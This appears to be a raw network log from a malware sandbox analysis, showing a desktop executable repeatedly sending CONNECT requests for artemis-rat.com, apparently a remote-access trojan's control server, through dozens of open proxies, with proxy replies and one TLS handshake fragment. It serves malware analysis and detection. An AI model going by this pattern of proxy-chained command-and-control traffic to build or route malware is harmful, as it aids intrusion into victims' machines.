Mar 11, 2024 03:30:48.092859983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.405231953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.889492035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1810	192.168.2.5	54948	93.90.212.2	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.096868992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1811	192.168.2.5	55052	104.25.115.125	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.097091913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.251909018 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1812	192.168.2.5	55029	31.220.56.210	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.097243071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.701997042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.309957027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.608400106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.108237028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.717600107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.217634916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:01.205281973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1813	192.168.2.5	55067	162.159.247.92	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.098290920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.260009050 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1814	192.168.2.5	54833	196.251.131.38	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.098952055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1815	192.168.2.5	55066	137.184.122.223	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.099356890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1816	192.168.2.5	54121	189.240.60.169	9090	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.106005907 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:46.376574039 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1817	192.168.2.5	53394	162.241.46.40	34172	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.109772921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1818	192.168.2.5	54953	38.54.116.9	8118	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.131763935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.576684952 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1819	192.168.2.5	54142	15.235.187.227	62640	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.152550936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.217612028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1820	192.168.2.5	53372	92.204.135.37	32524	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.152659893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.217587948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.217856884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1821	192.168.2.5	54946	103.153.154.6	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.152755976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.590008020 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1822	192.168.2.5	50776	46.10.229.243	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.167511940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.217607021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.217936993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.282689095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1823	192.168.2.5	50996	50.63.12.33	9367	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.169635057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.207628012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.389537096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1824	192.168.2.5	55042	147.75.92.251	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.175978899 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:46.451931953 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3
Mar 11, 2024 03:30:46.545038939 CET	369	OUT	Data Raw: 16 03 03 01 6c 01 00 01 68 03 03 65 ee 6c d5 f7 8a 70 b5 e0 de 01 bc 7a b8 ac 89 8d 87 cb fe d0 ba a3 bc 62 b7 89 1b bc 25 4f 0c 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: lhelpzb%O*,+0/$#('=<5/artemis-rat.com#xWT.ZPp&P\cR.g\w6gGV\|r _w-N!ekkYS"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1825	192.168.2.5	54992	95.217.155.116	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.176337004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.933475971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:05.427083969 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:06.455970049 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:09.656127930 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:15.802413940 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:27.832113981 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:53.432292938 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1826	192.168.2.5	55120	104.19.233.117	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.176419020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.331094027 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1827	192.168.2.5	55121	172.67.181.129	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.176419020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.331001043 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1828	192.168.2.5	55038	46.35.9.110	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.181704998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1829	192.168.2.5	51022	162.214.170.144	31701	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.183228970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.207674026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.389549017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.405194998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1830	192.168.2.5	55020	185.53.129.141	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.189877987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.933404922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905179977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.811383963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.514447927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.217194080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.905091047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1831	192.168.2.5	55037	8.217.143.187	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.205178976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1832	192.168.2.5	54259	213.136.75.85	59058	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.208097935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.207674980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1833	192.168.2.5	55030	221.231.13.198	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.224260092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1834	192.168.2.5	50906	51.222.241.157	30011	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
